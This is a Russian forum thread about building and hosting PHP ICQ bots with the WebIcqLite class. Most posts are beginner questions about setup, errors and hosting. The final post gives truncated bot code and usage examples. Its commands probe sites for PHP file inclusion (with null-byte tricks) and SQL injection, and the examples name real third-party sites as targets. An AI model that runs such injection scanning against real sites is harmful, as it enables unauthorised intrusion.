![]() |
ICQ Bot
Вот нашёл ICQ бота на PHP, использующего класс WebIcqLite.class.php.
PHP код:
Взято с http://grabberz.com/showpost.php?p=16492&postcount=1 Как юзать. Для начала нам надо залить бота на хост. Для этого : |
Объясните мне пожалуйста , что этот бот делает ?
|
xzDim
Там же написаны коменты! Бот получает сообщение и отвечает на него. |
Цитата:
|
Вот это баян =\\\\\
Я писал намного лучше...на том же форуме гдето лежит.. |
А где достать самого бота?
|
LLIepuqo
А что тогда тут выожено в 1-ом посте? О_о вбиваешь в скрипт номер, пасс, стартуешь скрипт и твой бот в сети. |
а как через него посылать многострочные посты?
|
Цитата:
|
Я мож и тупой, но не настолько)))
Я про другое. Хочу, чтоб он списочком выводил, типа: Список команд: 1- пойти нафиг 2- вырубит бота 3- ... что-то такое... "\n" не работает. |
а если я напишу "привет)" то этот супер мега кодер облажаетцо?
|
так зачем писать полное совпадение, как в примере? я пишу через совпадение контрольных частей...))
|
МНе пишет что ошибка в 8 строке...
Вот гляньте: http://www.w3llork.serverok.org/123/index.php |
ковычку то поставь =\
|
Это исправил) СПасибо... Токо следующее( Fatal error: Call to undefined function socket_create() in d:\hst\danstreet-ru_5e5a89b7\http\bot\WebIcqLite.class.php on line 393
Есть тот кто этот бот запустил? Вот кажется эта строка: function open($url = array('login.icq.com', 5190)) |
Цитата:
|
А как сделать приветствующее сообщение? Типо человек добавил бота в контакры, а бот ему выдал приветствие..
|
Боты на php - ацкое зверство.
Мозги себе ипать + глюки искать. И еще с сокетами возиться. Делфи рулит! |
На диске ][акера за 3-ий месяц есть сорц Icq-bot'а на Делфи, если кому надо и нет диска могу скинуть, пишите в ПМ или Icq: 465-790-267
|
Обновление
Обновлён бот на PHP. Теперь он может отправлять сообщения на мыло. Просто отправляем ему письмо в таком формате otkogo@mail.ru::komy@mail.ru::Тема письма::Содержание письма.
PHP код:
|
а как скрипт бота запускать?
|
а нельзя ли на другом сервере разместить кроме этого 1gb.in
|
Научите пользоватся(
|
Цитата:
Цитата:
|
офф. размещу за 1 в месяц ;)
|
накидал тут тоже бота простенького (на webicqlite.class.php), попытался прикрутить к нему функцию показа прогноза погоды. чтобы особо не париться с парсингом gismeteo и ему подобных сайтов решил просто отсылать боту gismeteo название города, дожидаться ответа и отсылать запросчику ответ этого бота. но возникла проблема, бот гисметео не присылает ответ, перепробовал кучу других ботов ответ также не приходил... помогите кто чем может.
на счет серверов, можно разместить еще на awardspase.com, но мой бот трагически погиб через 2 недели (удалили гады). |
Цитата:
|
http://www.1gb.in/
не нашёл как зарегиться( все ссылки ведут на главную..( Где найти хост? |
скорее всего временно прекратили регистрацию, жди! :)
|
как скрипт запускаеться? а то я никак не пойму(
|
Цитата:
|
У меня новая фигня, типа всё номано, запустил, первый раз запустил бота он просидел до тайм-аута =), после запускаю он стучиться пару раз в асю и вылетает в браузере выдаёт "UIN blocked, please try again 20 min later" =(
В чём проблема? |
видимо слишком много попыток логина =). подожди 20 мин, если не терпится, то зарегай еще один номерок и впиши на время его .
|
Цеплял на свой хост(купленый) отказываеться номано работать.
ЦГде взять бессплатный, нормальтный хост для бота? |
Цитата:
|
нельзя зарегиться там
|
[php]<?php
error_reporting (E_ALL); set_time_limit(FALSE); ignore_user_abort(TRUE); ini_set('max_execution_time', '0'); require_once('WebIcqLite.class.php'); define('UIN', '123456789'); //Номер бота define('PASSWORD', 'PASSW0RD'); //Пароль бота define('ADMIN', '555000'); //Номер админа бота $icq = new WebIcqLite(); if(!$icq->connect(UIN, PASSWORD)) { echo $icq->error; exit(); } $icq->send_message(ADMIN, 'Online'); while($icq->is_connected()) { $msg = $icq->read_message(); $m = strtolower($msg['message']); $dirs = explode("\n", file_get_contents('dirs.txt')); if(preg_match("/^!php-inj\s+'(.+)','(true|false)'$/",$m,$regs)) { $url = $regs[1]; $null = $regs[2]; function phpinj($url, $file, $null) { if($null == true) { $replace = $file.'%00'; $url_full = str_replace('[php]',urlencode($file).'%00',$url); } elseif($null == false) { $replace = $file; $url_full = str_replace('[php]',urlencode($file),$url); } $urlOpen = file_get_contents($url_full); if(preg_match('#(<b>Warning</b>|<b>Fatal error</b>).+'.$file.'#',$urlOpen)) { return false; } elseif($urlOpen) { return str_replace(' PHP код:
1. !php-inj 'http://www.ebrogreyhoundpark.com/index.php?pagename=[php]','false' 2. !sql-inj 'http://www.rockwm.de/songdetail.php?id=[sql]','12','7','true' 3. !bugtraq 'phpMyAdmin' Поясню: 1. Эта функция для поиска логов при php-инъекции. Где http://....[php] - это урл php инъекции, false - не ставить ноль байт, true - ставить ноль байт. 2. Эта функция для поиска логов при sql-инъекции. Где http://....[sql] - это урл sql инъекции, 12 - это 12 столбцов, 7 - на 7-ой столбик ставим запрос, true - закоментировать конец запроса, false - нет. 3. Ищем баги в двигах. Файл директорий можете скачать от сюда: http://webfile.ru/1542459 Он должен быть в одной директории с ботом и называться dirs.txt. Бот попрежнему работает на WebIcqLite.class |
| Время: 07:49 |